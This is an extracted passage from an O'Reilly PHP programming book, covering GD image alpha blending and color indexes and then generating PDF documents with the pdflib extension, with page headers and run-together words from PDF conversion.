You can use the ImageTrueColorToPalette( ) function to convert a true color image toone with a color index (also known as a paletted image).

Using the Alpha ChannelIn Example 9-11, we turned off alpha blending before drawing our background andour ellipse. Alpha blending is a toggle that determines whether the alpha channel, ifpresent, should be applied when drawing. If alpha blending is off, the old pixel isreplaced with the new pixel. If an alpha channel exists for the new pixel, it is main-tained, but all pixel information for the original pixel being overwritten is lost.

Example 9-12 illustrates alpha blending by drawing a gray rectangle with a 50%alpha channel over an orange ellipse.

Example 9-11. A simple orange ellipse on a white background

<?php $im = ImageCreateTrueColor(150,150); $white = ImageColorAllocate($im,255,255,255); ImageAlphaBlending($im, false); ImageFilledRectangle($im,0,0,150,150,$white); $red = ImageColorResolveAlpha($im,255,50,0,50); ImageFilledEllipse($im,75,75,80,63,$red); header('Content-Type: image/png'); ImagePNG($im);?>

Figure 9-11. An orange ellipse on a white background

,ch09.16251 Page 229 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (230)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

230 | Chapter 9: Graphics

Figure 9-12 shows the output of Example 9-12 (alpha blending is still turned off).

If we change Example 9-12 to enable alpha blending just before the call toImageFilledRectangle( ), we get the image shown in Figure 9-13.

Identifying ColorsTo check the color index for a specific pixel in an image, use ImageColorAt( ):

$color = ImageColorAt(image, x, y);

For images with an 8-bit color palette, the function returns a color index that youthen pass to ImageColorsForIndex( ) to get the actual RGB values:

$values = ImageColorsForIndex(image, index);

The array returned by ImageColorsForIndex( ) has keys "red", "green", and "blue". Ifyou call ImageColorsForIndex( ) on a color from a true color image, the returnedarray has an extra key, "alpha".

Example 9-12. A gray rectangle with a 50% alpha channel overlaid

<?php $im = ImageCreateTrueColor(150,150); $white = ImageColorAllocate($im,255,255,255); ImageAlphaBlending($im, false); ImageFilledRectangle($im,0,0,150,150,$white); $red = ImageColorResolveAlpha($im,255,50,0,63); ImageFilledEllipse($im,75,75,80,50,$red); $gray = ImageColorResolveAlpha($im,70,70,70,63); ImageAlphaBlending($im, false); ImageFilledRectangle($im,60,60,120,120,$gray); header('Content-Type: image/png'); ImagePNG($im);?>

Figure 9-12. A gray rectangle over the orange ellipse

Figure 9-13. Image with alpha blending enabled

,ch09.16251 Page 230 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (231)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Color Handling | 231

True Color Color IndexesThe color index returned by ImageColorResolveAlpha( ) is really a 32-bit signed long,with the first three 8-bit bytes holding the red, green, and blue values, respectively.The next bit indicates whether antialiasing is enabled for this color, and the remain-ing seven bits hold the transparency value.

For example:

$green = ImageColorResolveAlpha($im,0,0,255,127);

This code sets $green to 2130771712, which in hex is 0x7F00FF00 and in binary is01111111000000001111111100000000.

This is equivalent to the following ImageColorResolveAlpha( ) call:

$green = 127<<24 | 0<<16 | 255<<8 | 0;

You can also drop the two 0 entries in this example and just make it:

$green = 127<<24 | 255<<8;

To deconstruct this value, you can use something like this:

$a = ($col & 0x7F000000) >> 24;$r = ($col & 0x00FF0000) >> 16;$g = ($col & 0x0000FF00) >> 8;$b = ($col & 0x000000FF);

Direct manipulation of true color color values like this is rarely necessary. One appli-cation is to generate a color-testing image that shows the pure shades of red, green,and blue. For example:

$im = ImageCreateTrueColor(256,60);for($x=0; $x<256; $x++) { ImageLine($im, $x, 0, $x, 19, $x); ImageLine($im, 255-$x, 20, 255-$x, 39, $x<<8); ImageLine($im, $x, 40, $x, 59, $x<<16);}ImagePNG($im);

Figure 9-14 shows the output of the color-testing program.

Obviously it will be much more colorful than what we can show you here in black andwhite, so try this example for yourself. In this particular example it is much easier tosimply calculate the pixel color than to call ImageColorResolveAlpha( ) for every color.

Figure 9-14. The color test

,ch09.16251 Page 231 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (232)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

232 | Chapter 9: Graphics

Text Representation of an ImageAn interesting use of the ImageColorAt( ) function is to loop through each pixel in animage and check the color, and then do something with that color data. Example 9-13displays a # character in the appropriate color for each pixel.

The result is an ASCII representation of the image, as shown in Figure 9-15.

Example 9-13. Converting an image to text

<html><body bgcolor=#000000><tt><?php $im = imagecreatefromjpeg('php-tiny.jpg'); $dx = imagesx($im); $dy = imagesy($im); for($y = 0; $y < $dy; $y++) { for($x=0; $x < $dx; $x++) { $col = imagecolorat($im, $x, $y); $rgb = imagecolorsforindex($im,$col); printf('<font color=#%02x%02x%02x>#</font>', $rgb['red'],$rgb['green'],$rgb['blue']); } echo "<br>\n"; } imagedestroy($im);?></tt></body></html>

Figure 9-15. ASCII representation of an image

,ch09.16251 Page 232 Wednesday, March 13, 2002 11:44 AM

Programming php 1 - [PDF Document] (233)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

233

Chapter 10 CHAPTER 10

PDF

Adobe’s Portable Document Format (PDF) provides a popular way to get a consis-tent look, both on screen and when printed, for documents. This chapter shows howto dynamically create PDF files with text, graphics, bookmarks, and more.

Dynamic construction of PDF files opens the door to many applications. You cancreate almost any kind of business document, including form letters, invoices, andreceipts. Most paperwork that involves filling out a paper form can be automated byoverlaying text onto a scan of the paper form and saving the result as a PDF file.

PDF ExtensionsPHP has several libraries for generating PDF documents. This chapter shows how touse the popular pdflib extension. One drawback of pdflib is that it is not an opensource library. Its Aladdin license allows free personal and noncommercial usage, butfor any commercial use you must purchase a license. See http://www.pdflib.com fordetails. Open source alternatives include clibpdf (http://www.fastio.com) and theinteresting FreeLibPDF (http://www.fpdf.org), which is written in PHP.

Since pdflib is the most mature and has the most features, that is the library we coverin this chapter. The basic concepts of the structure and features of a PDF file arecommon to all the libraries, though.

Documents and PagesA PHP document is made up of a number of pages. Each page contains text and/orimages. This section shows you how to make a document, create pages in that docu-ment, put text onto the pages, and send the pages back to the browser when you’redone.

,ch10.16388 Page 233 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (234)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

234 | Chapter 10: PDF

A Simple ExampleLet’s start with a simple PDF document. Example 10-1 simply places “Hello world!”on a page and then displays the resulting PDF document.

Example 10-1 follows the basic steps involved in creating a PDF document: creatinga new document, setting some metadata for the document, creating a page, and writ-ing text to the page. Figure 10-1 shows the output of Example 10-1.

Initializing the DocumentIn Example 10-1, we started by calling pdf_new( ), to create a new PDF data struc-ture, followed by pdf_open_file( ), to open a new document. pdf_open_file( ) takesan optional second argument that, when set, specifies the filename to which to writethe PDF data:

pdf_open_file(pdf [, filename ]);

The output of pdf_open_file( ) is sent to stdout if the filename is "-". If no filenameargument is provided, the PDF data is written to a memory buffer, which can later befetched by calling pdf_get_buffer( ). The latter approach is the one we used inExample 10-1.

Example 10-1. Hello world in PDF

<?php $pdf = pdf_new( ); pdf_open_file($pdf); pdf_set_info($pdf,'Creator','hello.php'); pdf_set_info($pdf,'Author','Rasmus Lerdorf'); pdf_set_info($pdf,'Title','Hello world (PHP)'); pdf_begin_page($pdf,612,792);

$font = pdf_findfont($pdf,'Helvetica-Bold','host',0); pdf_setfont($pdf,$font,38.0); pdf_show_xy($pdf,'Hello world!',50,700);

pdf_end_page($pdf); pdf_set_parameter($pdf, "openaction", "fitpage"); pdf_close($pdf);

$buf = pdf_get_buffer($pdf); $len = strlen($buf); header('Content-Type: application/pdf'); header("Content-Length: $len"); header('Content-Disposition: inline; filename=hello.pdf'); echo $buf; pdf_delete($pdf);?>

,ch10.16388 Page 234 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (235)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Documents and Pages | 235

Setting MetadataThe pdf_set_info( ) function inserts information fields into the PDF file:

pdf_set_info(pdf, fieldname, value);

There are five standard field names: Subject, Author, Title, Creator, and Keywords.You can also add arbitrary information fields, as we did in Example 10-1.

In addition to informational fields, the pdflib library has various parameters that youcan change with pdf_get_parameter( ) and pdf_set_parameter( ):

$value = pdf_get_parameter(pdf, name);pdf_set_parameter(pdf, name, value);

A useful parameter to set is openaction, which lets you specify the zoom (magnifica-tion) of the file when it’s opened. The values "fitpage", "fitwidth", and "fitheight"fit the file to the complete page, the width of the page, and the height of the page,respectively. If you don’t set openaction, your document is displayed at whateverzoom the viewer had set at the time the document was opened.

Creating a PageA page starts with a call to pdf_begin_page( ) and ends with a call to pdf_end_page( ):

pdf_end_page(pdf);

Figure 10-1. Hello world in a PDF document

,ch10.16388 Page 235 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (236)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

236 | Chapter 10: PDF

You specify the paper size in points in the call to pdf_begin_page( ). Table 10-1shows some typical sizes.

Here is some typical begin/end page code:

<?php pdf_begin_page($pdf, 612, 792); // US-Letter // code to create actual page content would go here pdf_end_page($pdf);?>

Outputting Basic TextTo put text on a page, you must select the font you want to use, set the default fontto be that font at a particular size, and then add the text. For example:

$font = pdf_findfont($pdf, "Times-Roman", "host", 0);pdf_setfont($pdf, $font, 48);pdf_show_xy($pdf, "Hello, World", 200, 200);

With PDF documents, the (0,0) coordinate indicates the bottom-left corner of thepage. In later sections we’ll examine the different aspects of fonts and text layout andexplain these functions in detail.

Terminating and Streaming a PDF DocumentCall pdf_close( ) to complete the PDF document. If no filename was provided in thepdf_open_file( ) call, you can now use the pdf_get_buffer( ) function to fetch thePDF buffer from memory. To send the file to the browser, you must send Content-

Table 10-1. Paper sizes

Page format Width Height

US-Letter 612 792

US-Legal 612 1008

US-Ledger 1224 792

11 × 17 792 1224

A0 2380 3368

A1 1684 2380

A2 1190 1684

A3 842 1190

A4 595 842

A5 421 595

A6 297 421

B5 501 709

,ch10.16388 Page 236 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (237)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Text | 237

Type, Content-Disposition, and Content-Length HTTP headers, as shown inExample 10-1. Finally, call pdf_delete( ) to free the PDF file once it’s sent to thebrowser.

TextText is the heart of a PDF file. As such, there are many options for changing theappearance and layout of text. In this section, we’ll discuss the coordinate systemused in PDF documents, functions for inserting text and changing text attributes,and font usage.

CoordinatesThe origin ((0,0)) in a PDF document is in the bottom-left corner. All of themeasurements are specified in DTP points. A DTP point is equal to 1/72 of an inch,or 0.35277777778 mm.

Example 10-2 puts text in the corners and center of a page.

Example 10-2. Demonstrating coordinates

<?php $pdf = pdf_new( ); pdf_open_file($pdf); pdf_set_info($pdf,"Creator","coords.php"); pdf_set_info($pdf,"Author","Rasmus Lerdorf"); pdf_set_info($pdf,"Title","Coordinate Test (PHP)"); pdf_begin_page($pdf,612,792);

$font = pdf_findfont($pdf,"Helvetica-Bold","host",0); pdf_setfont($pdf,$font,38.0); pdf_show_xy($pdf, "Bottom Left", 10, 10); pdf_show_xy($pdf, "Bottom Right", 350, 10); pdf_show_xy($pdf, "Top Left", 10, 752); pdf_show_xy($pdf, "Top Right", 420, 752); pdf_show_xy($pdf, "Center",612/2-60,792/2-20);

pdf_end_page($pdf); pdf_set_parameter($pdf, "openaction", "fitpage"); pdf_close($pdf);

$buf = pdf_get_buffer($pdf); $len = strlen($buf); header("Content-Type: application/pdf"); header("Content-Length: $len"); header("Content-Disposition: inline; filename=coords.pdf"); echo $buf; pdf_delete($pdf);?>

,ch10.16388 Page 237 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (238)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

238 | Chapter 10: PDF

The output of Example 10-2 is shown in Figure 10-2.

It can be inconvenient to use a bottom-left origin. Example 10-3 puts the origin inthe top-left corner and displays a string near that corner.

Figure 10-2. Coordinate demo output

Example 10-3. Changing the origin

<?php $pdf = pdf_new( ); pdf_open_file($pdf); pdf_set_info($pdf,"Creator","coords.php"); pdf_set_info($pdf,"Author","Rasmus Lerdorf"); pdf_set_info($pdf,"Title","Coordinate Test (PHP)"); pdf_begin_page($pdf,612,792); pdf_translate($pdf,0,792); // move origin pdf_scale($pdf, 1, -1); // redirect horizontal coordinates pdf_set_value($pdf,"horizscaling",-100); // keep normal text direction

$font = pdf_findfont($pdf,"Helvetica-Bold","host",0); pdf_setfont($pdf,$font,-38.0); // text points upward pdf_show_xy($pdf, "Top Left", 10, 40);

pdf_end_page($pdf); pdf_set_parameter($pdf, "openaction", "fitpage"); pdf_close($pdf);

$buf = pdf_get_buffer($pdf); $len = strlen($buf);

,ch10.16388 Page 238 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (239)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Text | 239

The output of Example 10-3 is shown in Figure 10-3.

The pdf_translate( ) function moves the origin to the top of the page, and pdf_scale( ) inverts the Y-axis coordinates. To avoid producing text that can be read onlyin a mirror, we set the horizscaling parameter.

Text FunctionsPDF files have the concept of the current text position. It’s like a cursor—unless youspecify another location, when you insert text it appears at the current text location.You set the text location with the pdf_set_textpos( ) function:

pdf_set_textpos(pdf, x, y);

Once you have positioned the cursor, use the pdf_show( ) function to draw text there:

pdf_show(pdf, text);

After you call pdf_show( ), the cursor moves to the end of the inserted text.

Header("Content-Type:application/pdf"); Header("Content-Length:$len"); Header("Content-Disposition:inline; filename=coords.pdf"); echo $buf; pdf_delete($pdf);?>

Figure 10-3. Changing the origin

Example 10-3. Changing the origin (continued)

,ch10.16388 Page 239 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (240)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

240 | Chapter 10: PDF

You can also move the location and draw text in one function, with pdf_show_xy( ):

pdf_show_xy(pdf, text, x, y);

The pdf_continue_text( ) function moves to the next line and outputs text:

pdf_continue_text(pdf, text);

Set the leading parameter with pdf_set_parameter( ) to change the vertical separa-tion between lines.

The pdf_show_boxed( ) function lets you define a rectangular area within which astring of text is formatted:

$c = pdf_show_boxed(pdf, text, x, y, width, height, mode [, feature]);

The mode parameter controls the alignment of the text within the box, and can be"left", "right", "center", "justify", or "fulljustify". The difference between"justify" and "fulljustify" is in the treatment of the last line. The last line in a"justify"-formatted area is not justified, whereas in a "fulljustify" area it is.Example 10-4 shows all five cases.

Example 10-4. Text alignment within a box

<?php $pdf = pdf_new( ); pdf_open_file($pdf); pdf_begin_page($pdf,612,792);

$font = pdf_findfont($pdf,"Helvetica-Bold","host",0); pdf_setfont($pdf,$font,38); $text = <<<FOO This is a lot of text inside a text box in a small pdf file. FOO;

pdf_show_boxed($pdf, $text, 50, 590, 300, 180, "left"); pdf_rect($pdf,50,590,300,180); pdf_stroke($pdf); pdf_show_boxed($pdf, $text, 50, 400, 300, 180, "right"); pdf_rect($pdf,50,400,300,180); pdf_stroke($pdf); pdf_show_boxed($pdf, $text, 50, 210, 300, 180, "justify"); pdf_rect($pdf,50,210,300,180); pdf_stroke($pdf); pdf_show_boxed($pdf, $text, 50, 20, 300, 180, "fulljustify"); pdf_rect($pdf,50,20,300,180); pdf_stroke($pdf); pdf_show_boxed($pdf, $text, 375, 235, 200, 300, "center"); pdf_rect($pdf,375,250,200,300); pdf_stroke($pdf); pdf_end_page($pdf); pdf_set_parameter($pdf, "openaction", "fitpage"); pdf_close($pdf);

$buf = pdf_get_buffer($pdf); $len = strlen($buf); header("Content-Type:application/pdf");

,ch10.16388 Page 240 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (241)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Text | 241

Figure 10-4 shows the output of Example 10-4.

The pdf_show_boxed( ) function returns the number of characters that did not fit inthe box. If the feature parameter is present, it must be set to the string "blind". Thisprevents the text from being drawn on the page and is useful for checking whether astring will fit in the box without actually drawing it.

Text AttributesThere are three common ways to alter the appearance of text. One is to underline,overline, or strike out the text using parameters. Another is to change the strokingand filling. The third is to change the text’s color.

Each of the underline, overline, and strikeout parameters may be set to "true" or"false" independently of the others. For example:

pdf_set_parameter($pdf, "underline", "true"); // enable underlining

header("Content-Length:$len"); header("Content-Disposition:inline; filename=coords.pdf"); echo $buf; pdf_delete($pdf);?>

Figure 10-4. Different text alignments

Example 10-4. Text alignment within a box (continued)

,ch10.16388 Page 241 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (242)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

242 | Chapter 10: PDF

Stroking text means drawing a line around the path defined by the text. The effect isan outline of the text. Filling text means to fill the shape defined by the text. You canset whether text should be stroked or filled with the textrendering parameter. Thevalid values are shown in Table 10-2.

You can select the text color using the pdf_setcolor( ) function:

pdf_setcolor(pdf, type, colorspace, c1 [, c2, c3 [, c4]]);

The type parameter is either "stroke", "fill", or "both", indicating whether you’respecifying the color to be used for outlining the letters, filling the letters, or both.The colorspace parameter is one of "gray", "rgb", "cmyk", "spot", or "pattern". The"gray", "spot", and "pattern" colorspaces take only one color parameter, whereas"rgb" takes three and "cmyk" takes all four.

Example 10-5 shows colors, underlines, overlines, strikeouts, stroking, and filling atwork.

Table 10-2. Values for the textrendering parameter

Value Effect

0 Normal

1 Stroke (outline)

2 Fill and stroke

3 Invisible

4 Normal, add to clipping path

5 Fill and stroke, add to clipping path

6 Invisible, add to clipping path

Example 10-5. Changing text attributes

<?php $p = pdf_new( ); pdf_open_file($p); pdf_begin_page($p,612,792);

$font = pdf_findfont($p,"Helvetica-Bold","host",0); pdf_setfont($p,$font,38.0); pdf_set_parameter($p, "overline", "true"); pdf_show_xy($p, "Overlined Text", 50,720); pdf_set_parameter($p, "overline", "false"); pdf_set_parameter($p, "underline", "true"); pdf_continue_text($p, "Underlined Text"); pdf_set_parameter($p, "strikeout", "true"); pdf_continue_text($p, "Underlined strikeout Text"); pdf_set_parameter($p, "underline","false"); pdf_set_parameter($p, "strikeout","false"); pdf_setcolor($p,"fill","rgb", 1.0, 0.1, 0.1); pdf_continue_text($p, "Red Text"); pdf_setcolor($p,"fill","rgb", 0, 0, 0);

,ch10.16388 Page 242 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (243)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Text | 243

Figure 10-5 shows the output of Example 10-5.

FontsThere are 14 built-in fonts in PDF, as listed in Table 10-3. If you use only these fonts,the documents you create will be smaller and more portable than if you use non-standard fonts.

pdf_set_value($p,"textrendering",1); pdf_setcolor($p,"stroke","rgb", 0, 0.5, 0); pdf_continue_text($p, "Green Outlined Text"); pdf_set_value($p,"textrendering",2); pdf_setcolor($p,"fill","rgb", 0, .2, 0.8); pdf_setlinewidth($p,2); pdf_continue_text($p, "Green Outlined Blue Text"); pdf_end_page($p); pdf_close($p);

$buf = pdf_get_buffer($p); $len = strlen($buf); header("Content-Type: application/pdf"); header("Content-Length: $len"); header("Content-Disposition: inline; filename=coord.pdf"); echo $buf; pdf_delete($p);?>

Figure 10-5. Lining, stroking, filling, and coloring text

Example 10-5. Changing text attributes (continued)

,ch10.16388 Page 243 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (244)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

244 | Chapter 10: PDF

You can select a font with the pdf_findfont( ) function:

$font = pdf_findfont(pdf, fontname, encoding, embed);

The encoding parameter indicates how the internal numeric codes for characters maponto the font’s characters. The built-in encodings are "winansi" (Windows, a super-set of ISO 8859-1, which is itself a superset of ASCII), "macroman" (Macintosh),"ebcdic" (IBM mainframe), "builtin" (for symbol fonts), and "host" ("macroman" onthe Mac, "ebcdic" on EBCDIC-based systems, and "winansi" on everything else).When using built-in fonts, stick to "host".

You can load nonstandard fonts if you have the PostScript font metrics or TrueTypefiles. If you want to embed the nonstandard fonts in the PDF file, rather than usingwhatever fonts on the viewer’s system most resemble them, set the embed parameterto 1. You do not need to embed the standard fonts.

Using nonstandard fonts without embedding them makes your documents much lessportable, while embedding them makes your generated PDF files much larger. Youalso need to be careful of not violating any font license terms, because some fonts arenot supposed to be embedded. TrueType font files have an indicator that is set if thefont should not be embedded. This is honored by pdflib, which produces an error ifyou try to embed such a font.

Embedding FontsTo use nonstandard fonts, you must tell pdflib where they are with the FontAFM,FontPFM, or FontOutline parameters. For example, to use a TrueType font, you cando this:

pdf_set_parameter($p,"FontOutline", "CANDY==/usr/fonts/candy.ttf");$font = pdf_findfont($p, "CANDY", "host", 1);

The double equals sign in this code tells pdflib that you are specifying an absolutepath. A single equals sign would indicate a path relative to the default font directory.

Instead of using explicit pdf_set_parameter( ) calls each time you want to use a non-standard font, you can tell your pdflib installation about these extra fonts by addingthe FontAFM, FontPFM, and FontOutline settings to pdflib’s pdflib.upr file.

Here’s a sample set of additions to the FontAFM and FontOutline sections of thepdflib.upr file. The line that starts with two slashes (//) indicates the default direc-tory for font files. The format for the other lines is simply fontname=filename:

Table 10-3. Standard PDF fonts

Courier Courier-Bold Courier-BoldOblique Courier-Oblique

Helvetica Helvetica-Bold Helvetica-BoldOblique Helvetica-Oblique

Times-Bold Times-BoldItalic Times-Italic Times-Roman

Symbol ZapfDingbats

,ch10.16388 Page 244 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (245)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Text | 245

//usr/share/fonts

FontAFMLuciduxSans=lcdxsr.afmGeorgia=georgia.afm

FontOutlineArial=arial.ttfCentury Gothic=GOTHIC.TTFCentury Gothic Bold=GOTHICB.TTFCentury Gothic Bold Italic=GOTHICBI.TTFCentury Gothic Italic=GOTHICI.TTF

You can specify an absolute path to a font file if you wish.

Example 10-6 shows most of the built-in fonts along with the five extra AFM (AdobeFont Metric) and two extra TrueType fonts installed in the pdflib.upr file above. Itdisplays new Euro currency symbol along with a collection of accented charactersused in French.

Example 10-6. Font demonstration

<?php $p = pdf_new( ); pdf_open_file($p); pdf_set_info($p,"Creator","hello.php"); pdf_set_info($p,"Author","Rasmus Lerdorf"); pdf_set_info($p,"Title","Hello world (PHP)"); pdf_set_parameter($p, "resourcefile", '/usr/share/fonts/pdflib/pdflib.upr'); pdf_begin_page($p,612,792); pdf_set_text_pos($p,25,750); $fonts = array('Courier'=>0,'Courier-Bold'=>0,'Courier-BoldOblique'=>0, 'Courier-Oblique'=>0,'Helvetica'=>0,'Helvetica-Bold'=>0, 'Helvetica-BoldOblique'=>0,'Helvetica-Oblique'=>0, 'Times-Bold'=>0,'Times-BoldItalic'=>0, 'Times-Italic'=>0, 'Times-Roman'=>0, 'LuciduxSans'=>1, 'Georgia' => 1, 'Arial' => 1, 'Century Gothic' => 1, 'Century Gothic Bold' => 1, 'Century Gothic Italic' => 1, 'Century Gothic Bold Italic' => 1 ); foreach($fonts as $f=>$embed) { $font = pdf_findfont($p,$f,"host",$embed); pdf_setfont($p,$font,25.0); pdf_continue_text($p,"$f (".chr(128)." Ç à á â ã ç è é ê)"); } pdf_end_page($p); pdf_close($p); $buf = pdf_get_buffer($p); $len = strlen($buf); Header("Content-Type: application/pdf"); Header("Content-Length: $len"); Header("Content-Disposition: inline; filename=hello_php.pdf"); echo $buf; pdf_delete($p);?>

,ch10.16388 Page 245 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (246)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

246 | Chapter 10: PDF

The output of Example 10-6 is shown in Figure 10-6.

Images and GraphicsThere’s more to documents than text. Most PDF files contain some type of logo, dia-gram, illustration, or picture. This section shows how to include image files, buildyour own line-art illustrations, and repeat elements on every page (for instance, aheader with a logo).

ImagesPDF supports many different embedded image formats: PNG, JPEG, GIF, TIFF,CCITT, and a raw image format that consists of a stream of the exact byte sequenceof pixels. Not every feature of every format is supported, however.

For PNG images, the alpha channel is lost (however, the later versions of pdflib andAcrobat do support transparency, which means that you can indicate a color indexto be the transparent color, but you cannot have partial transparency). For JPEG,you only need to watch out for progressive JPEGs; they are not supported prior toAcrobat 4, so it is a good idea to stick to nonprogressive JPEGs. For GIF images,avoid interlacing.

Figure 10-6. Output of the font demonstration

,ch10.16388 Page 246 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (247)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Images and Graphics | 247

Adding an image to a PDF document is relatively simple. The first step is to call theappropriate open function for the type of image you are using. These functions alltake the form pdf_open_format( ). For instance:

$image = pdf_open_jpeg(pdf, filename);

Once you have opened the image, use pdf_place_image( ) to indicate where in yourdocument the image should be located. While you have an image open, you canplace it multiple times throughout your document; your generated file will containonly one copy of the actual image data. When you are done placing your image, callthe pdf_close_image( ) function:

pdf_place_image(pdf, image, x, y, scale);pdf_close_image(pdf, image);

The scale parameter indicates the proportional scaling factor to be used when plac-ing the image in the document.

You can get the dimensions of an image via pdf_get_value( ) calls on the imagewidthand imageheight keywords.

Example 10-7 places an image in several places on a page.

Example 10-7. Placing and scaling images

<?php $p = pdf_new( ); pdf_open_file($p); pdf_set_info($p,"Creator","images.php"); pdf_set_info($p,"Author","Rasmus Lerdorf"); pdf_set_info($p,"Title","Images"); pdf_begin_page($p,612,792);

$im = pdf_open_jpeg($p, "php-big.jpg"); pdf_place_image($p, $im, 200, 700, 1.0); pdf_place_image($p, $im, 200, 600, 0.75); pdf_place_image($p, $im, 200, 535, 0.50); pdf_place_image($p, $im, 200, 501, 0.25); pdf_place_image($p, $im, 200, 486, 0.10); $x = pdf_get_value($p, "imagewidth", $im); $y = pdf_get_value($p, "imageheight", $im); pdf_close_image ($p,$im); $font = pdf_findfont($p,'Helvetica-Bold','host',0); pdf_setfont($p,$font,38.0); pdf_show_xy($p,"$x by $y",425,750); pdf_end_page($p); pdf_close($p); $buf = pdf_get_buffer($p); $len = strlen($buf); header("Content-Type: application/pdf"); header("Content-Length: $len"); header("Content-Disposition: inline; filename=images.pdf");

,ch10.16388 Page 247 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (248)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

248 | Chapter 10: PDF

Figure 10-7 shows the output of Example 10-7.

The scaled versions of the PHP logo in Example 10-7 kept their original proportions.To do nonproportional scaling of an image, you must temporarily scale the coordi-nate system via a call to pdf_scale( ):

pdf_scale(pdf, xscale, yscale);

All subsequent coordinates will be multiplied by the xscale and yscale values.

Example 10-8 shows nonproportional scaling in action. Note that we had to com-pensate for the coordinate system scaling in the pdf_place_image( ) call to have theimage show up in the right place.

echo $buf; pdf_delete($p);?>

Figure 10-7. Placed and scaled images

Example 10-8. Nonproportional scaling

<?php $im = pdf_open_jpeg($p, "php-big.jpg"); pdf_place_image($p, $im, 200, 700, 1.0); pdf_save($p); // Save current coordinate system settings $nx = 50/pdf_get_value($p,"imagewidth",$im); $ny = 100/pdf_get_value($p,"imageheight",$im); pdf_scale($p, $nx, $ny);

Example 10-7. Placing and scaling images (continued)

,ch10.16388 Page 248 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (249)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Images and Graphics | 249

The output of Example 10-8 is shown in Figure 10-8.

GraphicsTo draw a graphical shape, first specify a path and then fill and/or stroke the pathwith appropriately configured fill and/or stroke colors. The functions that definethese paths are straightforward. For example, to draw a line, you position the cursorat the starting point of the line using a call to pdf_moveto( ), then specify the path forthis line with a call to pdf_lineto( ). The starting points of other functions, such aspdf_circle( ) and pdf_rect( ), are defined directly in the calls.

The pdf_moveto( ) function starts the path at a particular point:

pdf_moveto(pdf, x, y);

With pdf_lineto( ), you can draw a line from the current point to another point:

pdf_lineto(pdf, x, y);

Use pdf_circle( ) to draw a circle of radius r at a particular point:

pdf_circle(pdf, x, y, r);

pdf_place_image($p, $im, 200/$nx, 600/$ny, 1.0); pdf_restore($p); // Restore previous pdf_close_image ($p,$im);?>

Figure 10-8. Nonproportional scaling

Example 10-8. Nonproportional scaling (continued)

,ch10.16388 Page 249 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (250)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

250 | Chapter 10: PDF

The pdf_arc( ) function draws an arc of a circle:

pdf_arc(pdf, x, y, r, alpha, beta);

The circle is centered at (x,y) and has radius r. The starting point of the arc is alphadegrees (measured counterclockwise from the horizontal axis), and the endpoint isbeta degrees.

Use pdf_curveto( ) to draw a Bézier curve from the current point:

pdf_curveto(pdf, x1, y1, x2, y2, x3, y3);

The points (x1,y1), (x2,y2), and (x3,y3) are control points through which the curvemust pass.

You can draw a rectangle with pdf_rect( ):

pdf_rect(pdf, x, y, width, height);

To draw a line from the current point back to the point that started the path, usepdf_closepath( ):

pdf_closepath(pdf);

Example 10-9 defines a simple path and strokes it.

The output of Example 10-9 is shown in Figure 10-9.

We can use pdf_closepath( ) and pdf_fill_stroke( ) to close the path and then fill itwith the current fill color by replacing the pdf_stroke( ) call in Example 10-9 withthese two lines:

pdf_closepath($p);pdf_fill_stroke($p);

Example 10-9. A simple graphic path

